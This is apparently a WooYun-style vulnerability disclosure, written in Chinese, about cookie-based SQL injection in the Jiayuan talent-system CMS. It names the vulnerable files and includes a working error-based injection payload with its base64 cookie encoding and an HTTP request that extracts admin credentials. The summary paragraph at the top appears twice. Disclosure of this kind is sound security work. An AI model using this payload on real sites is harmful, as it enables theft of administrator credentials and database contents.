### 简要描述: 一次性全部打包,希望厂商重视这个问题,做好过滤。 ### 详细说明: 这套cms存在一个很大隐患就是对于cookie的过滤。根据这个cms给出的函数可以写一个dome ``` <?php error_reporting(0); foreach($_REQUEST as $_k=>$_v){ if( strlen($_k)>0 && preg_match('/^(cfg|GLOBALS)/i',$_k) ){ exit('Request var not allow!'); } } foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) $_k{0} != '_' && ${$_k} = is_array($_v)?_runmagicquotes($_v):cleartags(_runmagicquotes($_v)); //foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v); } function _runmagicquotes(&$svar){ if(!get_magic_quotes_gpc()){ if( is_array($svar) ){ foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v); }else{ $svar = addslashes($svar); } } return $svar; } function cleartags($msg){ if(!$msg) return ''; $msg=stripslashes($msg); $msg=strip_tags($msg); $msg=dhtmlspecialchars($msg); return trim(addslashes($msg)); } function dhtmlspecialchars($string) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] =...
### 简要描述: 一次性全部打包,希望厂商重视这个问题,做好过滤。 ### 详细说明: 这套cms存在一个很大隐患就是对于cookie的过滤。根据这个cms给出的函数可以写一个dome ``` <?php error_reporting(0); foreach($_REQUEST as $_k=>$_v){ if( strlen($_k)>0 && preg_match('/^(cfg|GLOBALS)/i',$_k) ){ exit('Request var not allow!'); } } foreach(Array('_GET','_POST','_COOKIE') as $_request){ foreach($$_request as $_k => $_v) $_k{0} != '_' && ${$_k} = is_array($_v)?_runmagicquotes($_v):cleartags(_runmagicquotes($_v)); //foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v); } function _runmagicquotes(&$svar){ if(!get_magic_quotes_gpc()){ if( is_array($svar) ){ foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v); }else{ $svar = addslashes($svar); } } return $svar; } function cleartags($msg){ if(!$msg) return ''; $msg=stripslashes($msg); $msg=strip_tags($msg); $msg=dhtmlspecialchars($msg); return trim(addslashes($msg)); } function dhtmlspecialchars($string) { if(is_array($string)) { foreach($string as $key => $val) { $string[$key] = dhtmlspecialchars($val); } }else{ $string = str_replace(array('&', '"', '<', '>'),array('&', '"', '<', '>'), $string); if(strpos($string, '&#') !== false) { $string = preg_replace('/&((#(\d{3,5}|x[a-fA-F0-9]{4}));)/','&\\1', $string); } } return $string; } function checksql($dbstr,$querytype='select'){ $clean = ''; $old_pos = 0; $pos = -1; //普通语句,直接过滤特殊语法 if($querytype=='select'){ $nastr = "/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/i"; if(preg_match($nastr,$dbstr)){ log_write($dbstr,'sql'); showmsg('SafeError:10001', 'javascript:;'); exit(); } } //完整的SQL检查 while (true){ $pos = strpos($dbstr, '\'', $pos + 1); if ($pos === false){ break; } $clean .= substr($dbstr, $old_pos, $pos - $old_pos); while (true){ $pos1 = strpos($dbstr, '\'', $pos + 1); $pos2 = strpos($dbstr, '\\', $pos + 1); if ($pos1 === false){ break; } elseif ($pos2 == false || $pos2 > $pos1){ $pos = $pos1; break; } $pos = $pos2 + 1; } $clean .= '$s$'; $old_pos = $pos + 1; } $clean .= substr($dbstr, $old_pos); $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean))); if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0){ $fail = true; echo "aaaaaaa"; } elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false){ $fail = true; echo "bbbbbbb"; } elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0){ $fail = true; echo "ccccccc"; } elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0){ $fail = true; echo "ddddddd"; } elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0){ $fail = true; echo "eeeeeee"; } elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0){ $fail = true; echo "fffffff"; } elseif (preg_match('~\([^)]*?select~s', $clean) != 0){ $fail = true; echo "ggggggg"; } if (!empty($fail)){ //log_write($dbstr,'sql'); echo "SafeError:10002";exit; } else { return $dbstr; } } $word = $_COOKIE['word']; echo $word; ?> ``` 我们来测试对于cookie的过滤。可以看到直接引入单引号 [<img src="https://images.seebug.org/upload/201503/161934143de7d0ae43ffd6b198eee07c5507126a.png" alt="7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/161934143de7d0ae43ffd6b198eee07c5507126a.png) cms中获取cookie的函数是这样写的,其实最终效果和demo一样 ``` function _getcookie($var) { global $cfg; $var = $cfg['cookie_pre'].$var; return isset($_COOKIE[$var]) ? substr(base64_decode($_COOKIE[$var]),0,-strlen($cfg['cookie_encode'])) : ''; } ``` 然后我们在整个cms中搜索一下这个函数 [<img src="https://images.seebug.org/upload/201503/16193608fd1715085bff030bff0ff76784b665f6.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16193608fd1715085bff030bff0ff76784b665f6.png) 其中 [WooYun: 嘉缘人才系统SQL注入漏洞](http://www.wooyun.org/bugs/wooyun-2015-091369) [WooYun: 嘉缘人才系统SQL注入可获取任意数据#1](http://www.wooyun.org/bugs/wooyun-2015-091394) 提交过这个cookie的问题,但是厂商是怎样做的呢? 就对于上面两个文件加上了cleartags这个函数,其他的就不管了。 除了这两处,还存在12处。都存在这个cookie注入问题。 在\inc\attention.php ``` require(dirname(__FILE__).'/../config.inc.php'); if(empty($do)) $do= '';$db=connectdb(); $mid=intval($mid); if($do=="addatten"&&$mid){ $username=_getcookie('user_login'); if($username==''){ echo 'nologin';exit(); }else{ $rs = $db->get_one("select m_id,m_flag,m_name,m_typeid from {$cfg['tb_pre']}member where m_login='$username' limit 1"); ``` 在\inc\concat.php ``` require(dirname(__FILE__).'/../config.inc.php'); $db=connectdb(); $username=_getcookie('user_login'); $usertype=_getcookie('user_type'); require_once(FR_ROOT.'/inc/paylog.inc.php'); //取权限 $Glimit=$Gintegral=Array(0,0,0,0,0,0,0,0,0,0,0,0,0); if($username!=''){ $rs = $db->get_one("select m_id,m_name,m_flag,DATEDIFF(m_enddate,'".date('Y-m-d')."') as end,m_limit,g_limit,g_integral from {$cfg['tb_pre']}member INNER JOIN {$cfg['tb_pre']}group on m_groupid=g_id where m_login='$username' limit 0,1"); ``` 在\inc\do_ajax_file_upload.php ``` <?php require_once(dirname(__FILE__).'/../config.inc.php'); !isset($db)&&$db=connectdb(); $username=_getcookie('user_login'); if($username!=''){ $userpass=_getcookie('user_pass'); $rs = $db->get_one("select m_id from {$cfg['tb_pre']}member where m_login='$username' and m_pwd='$userpass' limit 1"); } ``` 以及 member\course_list.php member\department_list.php member\professor.php member\studnet_list.php 等等地方都存在这个注入。 对于漏洞的利用方式 [WooYun: 嘉缘人才系统SQL注入漏洞](http://www.wooyun.org/bugs/wooyun-2015-091369) [WooYun: 嘉缘人才系统SQL注入可获取任意数据#1](http://www.wooyun.org/bugs/wooyun-2015-091394) 这两个提供了,盲注的方法。 根据我前面提交过的漏洞,还可以通过报错注入直接出数据。 我以\inc\do_ajax_file_upload.php为例 ``` GET /frcms/inc/do_ajax_file_upload.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:36.0) Gecko/20100101 Firefox/36.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: fr_user_login=ZnVja1NnWlFkMzMwNVY%3D; X-Forwarded-For: 8.8.8.8 Connection: keep-alive ``` 将base64解密 ``` fuckSgZQd3305V ``` fuck为我们可控,我们构造 ``` fuck' or char(@`'`) or (SELECT 1 FROM(SELECT count(*),concat((SELECT(SELECT concat(a_user,0x27,a_pass)) FROM job_admin limit 0,1),floor(rand(0)*2))x FROM information_schema.columns group by x)a)#SgZQd3305V ``` 然后base64一次 ``` ZnVjaycgb3IgY2hhcihAYCdgKSBvciAoU0VMRUNUIDEgRlJPTShTRUxFQ1QgY291bnQoKiksY29uY2F0KChTRUxFQ1QoU0VMRUNUIGNvbmNhdChhX3VzZXIsMHgyNyxhX3Bhc3MpKSBGUk9NIGpvYl9hZG1pbiBsaW1pdCAwLDEpLGZsb29yKHJhbmQoMCkqMikpeCBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIGdyb3VwIGJ5IHgpYSkjU2daUWQzMzA1Vg== ``` 提交,mysql报错 [<img src="https://images.seebug.org/upload/201503/16195731fcce20fb5b0a598d96554ddddbd225f2.png" alt="9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/16195731fcce20fb5b0a598d96554ddddbd225f2.png) 然后访问日志记录文件 [<img src="https://images.seebug.org/upload/201503/1619582149ddf7ae92e1cc43f560eef792d2edeb.png" alt="10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1619582149ddf7ae92e1cc43f560eef792d2edeb.png) ### 漏洞证明: [<img src="https://images.seebug.org/upload/201503/1619582149ddf7ae92e1cc43f560eef792d2edeb.png" alt="10.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201503/1619582149ddf7ae92e1cc43f560eef792d2edeb.png)